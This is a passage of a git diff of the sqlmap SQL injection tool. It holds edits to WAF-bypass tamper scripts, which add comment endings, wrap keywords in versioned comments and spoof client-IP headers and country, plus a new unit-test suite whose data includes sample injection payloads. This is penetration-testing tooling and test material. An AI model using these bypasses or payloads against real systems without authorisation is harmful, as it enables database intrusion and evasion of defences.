http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string >>> tamper("1' AND 1=1") - '1%bf%27-- ' + '1%bf%27-- -' """ retVal = payload @@ -47,7 +47,7 @@ def tamper(payload, **kwargs): _ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal) if _ != retVal: retVal = _ - retVal += "-- " + retVal += "-- -" elif not any(_ in retVal for _ in ('#', '--', '/*')): - retVal += "-- " + retVal += "-- -" return retVal diff --git a/tamper/uppercase.py b/tamper/uppercase.py index 1a1af3a3507..81774a99968 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re @@ -17,7 +17,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces each keyword character with upper case value + Replaces each keyword character with upper case value (e.g. select -> SELECT) Tested against: * Microsoft SQL Server 2005 diff --git a/tamper/varnish.py b/tamper/varnish.py index 00d54bb4303..92fb98cb3fd 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY @@ -14,12 +14,12 @@ def dependencies(): def tamper(payload, **kwargs): """ - Append a HTTP header 'X-originating-IP' to bypass - WAF Protection of Varnish Firewall + Appends a HTTP header 'X-originating-IP' to bypass Varnish Firewall - Notes: - Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 + Reference: + * https://web.archive.org/web/20160815052159/http://community.hpe.com/t5/Protect-Your-Assets/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366 + Notes: Examples: >> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X) >> X-remote-IP: TARGET_PROXY_IP (184.189.250.X) diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index 7c5c5db3280..3ee8e1aca73 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os @@ -20,7 +20,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Encloses each non-function keyword with versioned MySQL comment + Encloses each non-function keyword with (MySQL) versioned comment Requirement: * MySQL @@ -46,7 +46,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) + retVal = re.sub(r"(?:^|(?<=\W))(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index d5fc44db1bd..e53d0235ac8 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import os @@ -21,7 +21,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Encloses each keyword with versioned MySQL comment + Encloses each keyword with (MySQL) versioned comment Requirement: * MySQL >= 5.1.13 @@ -47,7 +47,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) + retVal = re.sub(r"(?:^|(?<=\W))(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") return retVal diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index e2bcdbca9d7..110bbbfd6f1 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -1,29 +1,44 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import random + +from lib.core.compat import xrange from lib.core.enums import PRIORITY -from random import sample + __priority__ = PRIORITY.NORMAL def dependencies(): pass def randomIP(): - numbers = [] - while not numbers or numbers[0] in (10, 172, 192): - numbers = sample(xrange(1, 255), 4) - return '.'.join(str(_) for _ in numbers) + octets = [] + + while not octets or octets[0] in (10, 172, 192): + octets = random.sample(xrange(1, 255), 4) + + return '.'.join(str(_) for _ in octets) def tamper(payload, **kwargs): """ - Append a fake HTTP header 'X-Forwarded-For' to bypass - WAF (usually application based) protection + Append a fake HTTP header 'X-Forwarded-For' (and alike) """ headers = kwargs.get("headers", {}) headers["X-Forwarded-For"] = randomIP() + headers["X-Client-Ip"] = randomIP() + headers["X-Real-Ip"] = randomIP() + headers["CF-Connecting-IP"] = randomIP() + headers["True-Client-IP"] = randomIP() + + # Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection + headers["Via"] = "1.1 Chrome-Compression-Proxy" + + # Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007 + headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0] + return payload diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 00000000000..2c772879a4f --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" diff --git a/tests/_testutils.py b/tests/_testutils.py new file mode 100644 index 00000000000..a856b1ebc2d --- /dev/null +++ b/tests/_testutils.py @@ -0,0 +1,177 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Shared bootstrap for the sqlmap unit/regression test suite. + +Brings sqlmap's global state (conf/kb, the 'reversible' codec, cross-references, +option defaults) up far enough that pure/near-pure library functions can be +exercised in isolation - WITHOUT a live target, network, or DBMS. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import sys +import warnings + +# Quieten import-time noise before any sqlmap/3rd-party module is imported by bootstrap(): +# e.g. cryptography's "Python 2 is no longer supported" CryptographyDeprecationWarning via pymysql. +warnings.filterwarnings("ignore", message=".*Python 2 is no longer supported.*") +warnings.filterwarnings("ignore", category=DeprecationWarning) +# sqlmap reconfigures stdout at startup; py3 emits a benign RuntimeWarning about line buffering +warnings.filterwarnings("ignore", message=".*line buffering.*binary mode.*") + +_BOOTSTRAPPED = False +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + + +def bootstrap(): + """Idempotently initialize sqlmap global state for testing.""" + global _BOOTSTRAPPED + if _BOOTSTRAPPED: + return + + if ROOT not in sys.path: + sys.path.insert(0, ROOT) + # a dummy target so cmdLineParser() populates ALL option defaults without erroring; + # save/restore the real argv so the unittest runner isn't confused by it + _orig_argv = list(sys.argv) + sys.argv = ["sqlmap.py", "-u", "http://test.invalid/?id=1"] + + from lib.core.common import setPaths + from lib.core.patch import dirtyPatches, resolveCrossReferences + setPaths(ROOT) + dirtyPatches() # registers the 'reversible' codec error handler, etc. + resolveCrossReferences() + + from lib.core.option import _setConfAttributes, _setKnowledgeBaseAttributes, _loadQueries + _setConfAttributes() + _setKnowledgeBaseAttributes() + _loadQueries() # populate the `queries` dict from queries.xml (needed by dialect builders) + + from lib.core.data import conf, kb + from lib.core.defaults import defaults + from lib.parse.cmdline import cmdLineParser + + args = cmdLineParser() + parsed = args.__dict__ if hasattr(args, "__dict__") else dict(args) + for k, v in parsed.items(): + conf[k] = v + # overlay canonical defaults for options left None (sqlmap does this during init) + for k, v in defaults.items(): + if conf.get(k) is None: + conf[k] = v + + kb.binaryField = False # normally set lazily during extraction + + # Silence sqlmap's application logger - tests assert on results, not log output, and the + # INFO/WARNING/ERROR chatter (column counts, reflective-value notices, an intentionally + # malformed-deflate error, etc.) just clutters the unittest report. + import logging + logging.getLogger("sqlmapLog").setLevel(logging.CRITICAL + 1) + + # Some console output bypasses the logger entirely and goes straight through dataToStdout(): + # the \r-progress lines ("[INFO] retrieved: ...", "[INFO] cracked password ..."), and the echo + # of batch-auto-answered readInput() prompts (the fingerprint-mismatch prompt, the LIKE/exact + # and common-wordlist choices, ...). dataToStdout() only writes forced output or when + # kb.wizardMode is False, and readInput() echoes with forceOutput=not kb.wizardMode - so setting + # wizardMode keeps the unittest report to just dots. wizardMode is read ONLY by dataToStdout/ + # readInput (plus the interactive wizard flow, unused here), so this has no effect on results. + kb.wizardMode = True + + sys.argv = _orig_argv # restore so unittest's arg parsing works + _BOOTSTRAPPED = True + + +def set_dbms(name): + """Force the identified back-end DBMS for dialect-dependent functions. + + Uses forceDbms (not setDbms) so switching DBMS repeatedly in one process does + not trigger the interactive fingerprint-mismatch prompt. + """ + from lib.core.common import Backend + from lib.core.data import kb + kb.stickyDBMS = False + Backend.forceDbms(name) + + +def reset_dbms(): + """Clear any DBMS forced via set_dbms()/Backend, restoring the clean post-bootstrap state. + + A forced DBMS lives on the global `kb` singleton and is read by every dialect/agent path, so a + module that forces one without clearing it would leak that back-end into later test modules + (order-dependent flakiness). Modules that call set_dbms() should expose this as their + `tearDownModule` so the leak can never cross a module boundary. + """ + from lib.core.common import Backend + from lib.core.data import kb + from lib.core.settings import UNKNOWN_DBMS_VERSION + Backend.flushForcedDbms(force=True) # kb.forcedDbms = None; kb.stickyDBMS = False + kb.resolutionDbms = None + kb.dbmsVersion = [UNKNOWN_DBMS_VERSION] + + +# --- property/fuzz testing harness (shared so individual test files don't each reinvent it) --- + +_PROPERTY_BASE = 0x51A1 + + +class Rng(object): + """Deterministic, cross-version-identical PRNG (a pure-integer LCG, no global state). + + sqlmap runs on Python 2.7 and 3.x, whose stdlib `random` yield DIFFERENT sequences + for the same seed - and `random.Random` instance methods are not unified by + patch.unisonRandom() (which only patches the module-level random.choice/randint/ + sample/seed). Property tests need inputs that are byte-for-byte identical on every + interpreter so a CI-only failure reproduces everywhere; integer math is identical + across versions, so this LCG (same constants as unisonRandom) guarantees it by + construction. Draw ONLY through these methods - never random.random()/shuffle()/etc. + """ + + def __init__(self, seed): + self.x = seed & 0xFFFFFF + + def _next(self): + self.x = (1140671485 * self.x + 128201163) % (2 ** 24) + return self.x + + def randint(self, a, b): + return a + self._next() % (b - a + 1) + + def choice(self, seq): + return seq[self.randint(0, len(seq) - 1)] + + def sample(self, seq, k): + # Note: with replacement (matches unisonRandom's _sample); fine for input generation + return [self.choice(seq) for _ in range(k)] + + def blob(self, n): + return bytes(bytearray(self.randint(0, 255) for _ in range(n))) + + +def _label_offset(label): + # stable across versions/runs (unlike hash(), which varies with PYTHONHASHSEED): just sum bytes + return sum(bytearray((label or "").encode("utf-8"))) * 7919 + + +def for_all(testcase, generator, prop, n=400, label=""): + """Property runner: draw `n` cases from generator(rng) and assert prop(case) holds. + + `prop` passes by returning True/None, fails by returning False or raising. On any + failure the EXACT offending input and its case index are reported; the same input + is reproducible (and identical on every interpreter) via Rng(seed_for(label, i)). + """ + base = _PROPERTY_BASE + _label_offset(label) + for i in range(n): + case = generator(Rng(base + i)) + try: + ok = prop(case) + except Exception as ex: + testcase.fail("%s: raised %r on input %r (case %d)" % (label or "property", ex, case, i)) + return + if ok is False: + testcase.fail("%s: property does not hold on input %r (case %d)" % (label or "property", case, i)) + return diff --git a/tests/test_agent.py b/tests/test_agent.py new file mode 100644 index 00000000000..211fbb7fd8a --- /dev/null +++ b/tests/test_agent.py @@ -0,0 +1,774 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Consolidated unit coverage for lib/core/agent.py. + +This file merges the agent.py tests previously spread across +test_agent.py, test_agent_dialects.py, test_core_more.py and +test_core_extra.py: + + * Payload assembly helpers (DBMS-independent string transforms that wrap, + fold and clean a payload on its way to the wire): prefix/suffix, payload + delimiters, field extraction, CONCAT folding, RAND-marker cleanup. + + * Cross-dialect exercise of the payload-assembly helpers. agent.py builds SQL + payloads from per-DBMS dialect templates (queries.xml); the helpers are pure + given the identified back-end DBMS, so driving each one across EVERY + supported dialect walks the dialect-specific branches (CAST forms, + concatenation operators, LIMIT/TOP/ROWNUM shapes, ...) without a live target. + + * Argument-combination / shape coverage for forgeUnionQuery, limitQuery, + whereQuery, getComment, concatQuery(unpack=False), cleanupPayload markers, + adjustLateValues, getFields shapes, prefix/suffix args, nullAndCastField + noCast, plus the pure agent helpers (extractPayload/replacePayload, ...). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.data import conf, kb, queries +from lib.core.enums import DBMS +from lib.core.settings import ( + PAYLOAD_DELIMITER, + SLEEP_TIME_MARKER, + BOUNDED_BASE64_MARKER, +) + +DIALECTS = sorted(queries.keys()) + +# --------------------------------------------------------------------------- # +# Per-dialect expectation maps (keyed by the DBMS display name == queries key). +# +# These were derived by inspecting the actual agent.py output for every dialect +# (the queries.xml templates drive the branches). They pin the *distinctive* +# dialect token so an assertion fails if the dialect branch collapses to the +# wrong form (e.g. concat operator swapped, null-wrapper dropped). +# --------------------------------------------------------------------------- # + +# concatQuery / simpleConcatenate join operator per dialect. +CONCAT_OPERATOR = { + "ClickHouse": "CONCAT(", + "Informix": "CONCAT(", + "MySQL": "CONCAT(", + "SAP MaxDB": "CONCAT(", + "Microsoft SQL Server": "+", + "Sybase": "+", + "Microsoft Access": "&", +} +# everything not listed above uses the SQL standard "||" +CONCAT_OPERATOR_DEFAULT = "||" + +# nullAndCastField / nullCastConcatFields NULL-wrapper function per dialect. +NULL_WRAPPER = { + "Altibase": "NVL", + "Apache Derby": "COALESCE", + "ClickHouse": "ifNull", + "CrateDB": "COALESCE", + "Cubrid": "IFNULL", + "Firebird": "COALESCE", + "FrontBase": "COALESCE", + "H2": "IFNULL", + "HSQLDB": "IFNULL", + "IBM DB2": "COALESCE", + "Informix": "NVL", + "InterSystems Cache": "COALESCE", + "Mckoi": "IF(", + "Microsoft Access": "IIF", + "Microsoft SQL Server": "ISNULL", + "MimerSQL": "COALESCE", + "MonetDB": "COALESCE", + "MySQL": "IFNULL", + "Oracle": "NVL", + "PostgreSQL": "COALESCE", + "Presto": "COALESCE", + "Raima Database Manager": "IFNULL", + "SAP HANA": "IFNULL", + "SAP MaxDB": "VALUE", + "SQLite": "COALESCE", + "Snowflake": "NVL", + "Spanner": "IFNULL", + "Sybase": "ISNULL", + "Vertica": "COALESCE", + "Virtuoso": "__MAX_NOTNULL", + "eXtremeDB": "IFNULL", +} + +# hexConvertField: dialects that DO have a hex function, mapped to its token. +HEX_FUNCTION = { + "Altibase": "HEX_ENCODE(", + "Cubrid": "HEX(", + "H2": "RAWTOHEX(", + "IBM DB2": "HEX(", + "Microsoft SQL Server": "fn_varbintohexstr", + "MySQL": "HEX(", + "Oracle": "RAWTOHEX(", + "PostgreSQL": "ENCODE(", + "Presto": "TO_HEX(", + "SAP HANA": "BINTOHEX(", + "SAP MaxDB": "HEX(", + "SQLite": "HEX(", + "Spanner": "TO_HEX(", + "Sybase": "BINTOSTR", + "Vertica": "TO_HEX(", +} +# dialects that intentionally do NOT support hex conversion and return the +# field unchanged (a no-op the old "colname in out" check silently masked). +HEX_NOOP = set(DIALECTS) - set(HEX_FUNCTION) + +# limitQuery: dialects whose limit template is empty so the call legitimately +# raises (no .limit.query). These are skipped by name in the limit-token test. +LIMIT_RAISES = {"Mckoi", "Raima Database Manager"} +# dialects with no special limitQuery branch: the query is returned unchanged +# (no limit token is emitted). +LIMIT_PASSTHROUGH = {"Informix", "Microsoft Access", "SAP MaxDB"} +# broad set of dialect limit tokens; every running, non-passthrough dialect +# emits at least one of these. +LIMIT_TOKENS = ("LIMIT", "TOP", "ROWNUM", "FETCH", "ROWS", "OFFSET", "ROW_NUMBER") + + +class DbmsStateMixin(object): + """Snapshot/restore the Backend/kb DBMS-forcing state so set_dbms() does not leak.""" + + def setUp(self): + self._forcedDbms = kb.forcedDbms + self._sticky = kb.stickyDBMS + self._batch = conf.batch + conf.batch = True + + def tearDown(self): + kb.forcedDbms = self._forcedDbms + kb.stickyDBMS = self._sticky + conf.batch = self._batch + + +# --------------------------------------------------------------------------- # +# Single-DBMS payload-assembly helpers (formerly test_agent.py) +# --------------------------------------------------------------------------- # + +class TestPayloadDelimiters(unittest.TestCase): + def test_add(self): + self.assertEqual(agent.addPayloadDelimiters("1 AND 1=1"), + "%s1 AND 1=1%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER)) + + def test_remove(self): + wrapped = "%spayload%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER) + self.assertEqual(agent.removePayloadDelimiters(wrapped), "payload") + + def test_remove_none_is_none(self): + self.assertIsNone(agent.removePayloadDelimiters(None)) + + def test_roundtrip(self): + for p in ["1=1", "1 AND SLEEP(5)", "' OR '1'='1", "", "a%sb" % "x"]: + self.assertEqual(agent.removePayloadDelimiters(agent.addPayloadDelimiters(p)), p, + msg="delimiter round-trip for %r" % p) + + +class TestPrefixSuffix(unittest.TestCase): + def test_prefix_default_pads_space(self): + # with no configured prefix, a single leading space is prepended + self.assertEqual(agent.prefixQuery("1=1"), " 1=1") + + def test_suffix_default_identity(self): + self.assertEqual(agent.suffixQuery("1=1"), "1=1") + + +class TestGetFields(unittest.TestCase): + def test_extracts_select_list(self): + # getFields(query) returns an 8-tuple; the fields-bearing slots are: + # [0],[1] = regex match objects for the SELECT/expression (must be found, not None) + # [5] = parsed field list, [6] = raw fields string + # (asserting the match objects guards against a refactor that silently shifts the tuple) + result = agent.getFields("SELECT a,b FROM t") + self.assertIsNotNone(result[0], msg="getFields did not match the SELECT") + self.assertEqual(result[5], ["a", "b"]) + self.assertEqual(result[6], "a,b") + + +class TestConcatQuery(unittest.TestCase): + def test_mysql_concat_folding(self): + set_dbms(DBMS.MYSQL) + q = agent.concatQuery("SELECT a FROM t") + # folds the field through CONCAT with the start/stop delimiters and keeps the FROM + self.assertTrue(q.startswith("CONCAT("), msg=q) + self.assertIn("IFNULL(CAST(a AS NCHAR),' ')", q) + self.assertTrue(q.endswith("FROM t"), msg=q) + + +class TestCleanupPayload(unittest.TestCase): + def test_randnum_marker_replaced_with_digits(self): + out = agent.cleanupPayload("SELECT [RANDNUM]") + self.assertNotIn("[RANDNUM]", out, msg="marker not replaced: %r" % out) # actually substituted + self.assertTrue(out.startswith("SELECT "), msg=out) + self.assertTrue(out.split()[-1].isdigit(), msg=out) # ...and replaced with a concrete number + + +# --------------------------------------------------------------------------- # +# Cross-dialect smoke coverage (formerly test_agent_dialects.py) +# --------------------------------------------------------------------------- # + +class TestNullCastConcatFields(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.nullCastConcatFields("user,password") + self.assertIsInstance(out, str, msg=dbms) + # both column names survive the null/cast/concat rewrite + self.assertIn("user", out, msg=dbms) + self.assertIn("password", out, msg=dbms) + # the dialect-specific NULL-wrapper must be present (the column-name + # check above is always satisfied and so cannot catch a broken + # branch); this fails if the wrapper collapses to the wrong form. + self.assertIn(NULL_WRAPPER[dbms], out, msg="%s: %s" % (dbms, out)) + + def test_literal_passthrough(self): + for dbms in DIALECTS: + set_dbms(dbms) + # a bare quoted literal is returned untouched + self.assertEqual(agent.nullCastConcatFields("'abc'"), "'abc'", msg=dbms) + + +class TestNullAndCastField(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.nullAndCastField("colname") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("colname", out, msg=dbms) + # dialect-specific NULL wrapper (IFNULL/COALESCE/NVL/ISNULL/IIF/...) + self.assertIn(NULL_WRAPPER[dbms], out, msg="%s: %s" % (dbms, out)) + + +class TestHexConvertField(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.hexConvertField("colname") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("colname", out, msg=dbms) + if dbms in HEX_FUNCTION: + # the dialect's hex function wraps the field + self.assertIn(HEX_FUNCTION[dbms], out, msg="%s: %s" % (dbms, out)) + else: + # intentional no-op: the field is returned verbatim. The old + # "colname in out" check masked this; pin the exact identity. + self.assertEqual(out, "colname", msg="%s expected no-op: %s" % (dbms, out)) + + +class TestConcatQueryDialects(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.concatQuery("SELECT user FROM users") + self.assertIsInstance(out, str, msg=dbms) + # concatQuery output is dialect-specific: MySQL/ClickHouse/Informix/ + # SAP MaxDB use CONCAT(...), MSSQL/Sybase use +, Access uses &, and + # the rest use the SQL-standard ||. Assert the right operator so the + # test fails if the dialect collapses to the wrong concatenation. + expected = CONCAT_OPERATOR.get(dbms, CONCAT_OPERATOR_DEFAULT) + self.assertIn(expected, out, msg="%s: %s" % (dbms, out)) + + +class TestSimpleConcatenate(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.simpleConcatenate("a", "b") + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("a", out, msg=dbms) + self.assertIn("b", out, msg=dbms) + + +class TestForgeUnionQueryDialects(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + count = 3 + out = agent.forgeUnionQuery("SELECT user FROM users", -1, count, None, + None, None, "NULL", None) + self.assertIsInstance(out, str, msg=dbms) + self.assertIn("UNION", out.upper(), msg=dbms) + # position -1 with char NULL fills every one of the `count` columns + # with the char, so the NULL char must appear exactly `count` times. + # (a hardcoded "UNION in out" check could not catch a wrong column + # count.) Match NULL as a whole token to avoid matching substrings. + self.assertEqual(re.findall(r"\bNULL\b", out).__len__(), count, + msg="%s expected %d NULLs: %s" % (dbms, count, out)) + + +class TestLimitQueryDialects(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + + # Only Mckoi/Raima have an empty limit template and legitimately + # raise; skip exactly those by name rather than swallowing *any* + # exception (which would hide a real regression in another dialect). + if dbms in LIMIT_RAISES: + with self.assertRaises(Exception, msg=dbms): + agent.limitQuery(0, "SELECT user FROM users", "user") + continue + + out = agent.limitQuery(0, "SELECT user FROM users", "user") + self.assertIsInstance(out, str, msg=dbms) + + if dbms in LIMIT_PASSTHROUGH: + # these dialects have no dedicated limitQuery branch and return + # the query unchanged (documented no-op). + self.assertEqual(out, "SELECT user FROM users", msg=dbms) + else: + # every other running dialect emits a real limit construct + self.assertTrue(any(tok in out.upper() for tok in LIMIT_TOKENS), + msg="%s missing limit token: %s" % (dbms, out)) + + +class TestForgeCaseStatement(unittest.TestCase): + def test_all_dialects(self): + for dbms in DIALECTS: + set_dbms(dbms) + out = agent.forgeCaseStatement("1=1") + self.assertIsInstance(out, str, msg=dbms) + # dialects vary on the conditional form (CASE / IIF / IF); the + # condition itself is always embedded + self.assertIn("1=1", out, msg=dbms) + # ...but the conditional construct itself must also be present, + # otherwise the "1=1" check alone could pass on a degenerate output. + self.assertTrue("CASE" in out or "IIF" in out or "IF(" in out, + msg="%s missing conditional construct: %s" % (dbms, out)) + + +class TestPrefixSuffixAcrossDialects(unittest.TestCase): + def test_prefix_suffix(self): + for dbms in DIALECTS: + set_dbms(dbms) + prefix = agent.prefixQuery("1=1") + suffix = agent.suffixQuery("1=1") + self.assertIsInstance(prefix, str, msg=dbms) + self.assertIsInstance(suffix, str, msg=dbms) + # prefixQuery pads a leading space ahead of the expression by default + self.assertEqual(prefix, " 1=1", msg="%s prefix: %r" % (dbms, prefix)) + # suffixQuery returns the expression itself (no extra clause/comment) + self.assertEqual(suffix, "1=1", msg="%s suffix: %r" % (dbms, suffix)) + + +class TestRunAsDBMSUserAndWhere(unittest.TestCase): + def test_run_as_user_noop_without_conf(self): + for dbms in DIALECTS: + set_dbms(dbms) + # without conf.dbmsCred the query is returned unchanged + self.assertEqual(agent.runAsDBMSUser("SELECT 1"), "SELECT 1", msg=dbms) + + +# --------------------------------------------------------------------------- # +# Argument-combination / shape coverage (formerly test_core_more.py) +# --------------------------------------------------------------------------- # + +class TestForgeUnionQuery(DbmsStateMixin, unittest.TestCase): + """forgeUnionQuery arg combinations not reached by the dialect smoke test.""" + + def test_limited_subselect_wraps_query(self): + set_dbms(DBMS.MYSQL) + # limited=True wraps the payload as (SELECT ...) at `position`, fills the + # rest with `char`, and appends the FROM/comment/suffix + out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 1, 3, None, + None, None, "NULL", None, limited=True) + self.assertIn("(SELECT user FROM mysql.user)", out) + self.assertTrue(out.startswith(" UNION ALL SELECT NULL,(SELECT"), msg=out) + # position 1 of 3 => NULL,<payload>,NULL + self.assertEqual(out.count("NULL"), 2, msg=out) + + def test_multiple_unions_appends_second_select(self): + set_dbms(DBMS.MYSQL) + out = agent.forgeUnionQuery("SELECT a FROM t", 0, 2, None, None, None, + "NULL", None, multipleUnions="b") + # the multipleUnions payload produces a *second* UNION ALL SELECT + self.assertEqual(out.upper().count("UNION ALL SELECT"), 2, msg=out) + self.assertIn("b", out) + + def test_from_table_override(self): + set_dbms(DBMS.MYSQL) + out = agent.forgeUnionQuery("SELECT 1", 0, 1, None, None, None, "NULL", + None, fromTable=" FROM dummytable") + self.assertIn("FROM dummytable", out, msg=out) + + def test_into_outfile_forces_null_position(self): + set_dbms(DBMS.MYSQL) + # an INTO OUTFILE clause forces position 0 / char NULL and re-appends the file part + out = agent.forgeUnionQuery("SELECT a INTO OUTFILE '/tmp/o.txt' FROM t", + 1, 2, None, None, None, "NULL", None) + self.assertIn("INTO OUTFILE '/tmp/o.txt'", out, msg=out) + + def test_collate_clause_on_mysql(self): + set_dbms(DBMS.MYSQL) + # collate=True on MySQL wraps a non-NULL, non-numeric value in the + # MYSQL_UNION_VALUE_CAST collation wrapper + out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 0, 1, None, + None, None, "NULL", None, collate=True) + self.assertIn("CONVERT", out.upper(), msg=out) + + +class TestLimitQuery(DbmsStateMixin, unittest.TestCase): + """limitQuery dialect shapes beyond the single limitQuery(0,...) smoke test.""" + + def test_no_from_returns_unchanged(self): + set_dbms(DBMS.MYSQL) + self.assertEqual(agent.limitQuery(5, "SELECT 1", "1"), "SELECT 1") + + def test_mysql_appends_limit_offset_one(self): + set_dbms(DBMS.MYSQL) + out = agent.limitQuery(7, "SELECT user FROM mysql.user", "user") + self.assertTrue(out.endswith("LIMIT 7,1"), msg=out) + + def test_pgsql_offset_form(self): + set_dbms(DBMS.PGSQL) + out = agent.limitQuery(4, "SELECT usename FROM pg_shadow", "usename") + self.assertIn("OFFSET 4 LIMIT 1", out, msg=out) + + def test_oracle_rownum_wrap(self): + set_dbms(DBMS.ORACLE) + out = agent.limitQuery(2, "SELECT banner FROM v$version", ["banner"]) + # Oracle wraps in a ROWNUM-bounded subselect ending with =<num+1> + self.assertIn("ROWNUM", out.upper(), msg=out) + self.assertTrue(out.rstrip().endswith("=3"), msg=out) + + def test_firebird_first_skip(self): + set_dbms(DBMS.FIREBIRD) + out = agent.limitQuery(3, "SELECT foo FROM bar", "foo") + self.assertIsInstance(out, str) + self.assertIn("foo", out) + # Firebird uses ROWS <num+1> TO <num+1> (the FIRST/SKIP emulation); pin + # the exact shape so a broken offset arithmetic is caught. + self.assertTrue(out.endswith("ROWS 4 TO 4"), msg=out) + + def test_mssql_top_not_in(self): + set_dbms(DBMS.MSSQL) + out = agent.limitQuery(2, "SELECT name FROM sysobjects", "name", uniqueField="name") + # MSSQL emulates LIMIT via TOP + NOT IN + self.assertIn("TOP", out.upper(), msg=out) + self.assertIn("NOT IN", out.upper(), msg=out) + + +class TestWhereQuery(DbmsStateMixin, unittest.TestCase): + """whereQuery only acts when conf.dumpWhere is set.""" + + def setUp(self): + DbmsStateMixin.setUp(self) + self._dumpWhere = conf.dumpWhere + self._tbl = conf.tbl + + def tearDown(self): + conf.dumpWhere = self._dumpWhere + conf.tbl = self._tbl + DbmsStateMixin.tearDown(self) + + def test_no_dumpwhere_is_identity(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = None + self.assertEqual(agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t") + + def test_appends_where_clause(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t") + self.assertIn("WHERE id>10", out, msg=out) + + def test_existing_where_gets_anded(self): + set_dbms(DBMS.MYSQL) + conf.dumpWhere = "id>10" + conf.tbl = None + out = agent.whereQuery("SELECT a FROM t WHERE 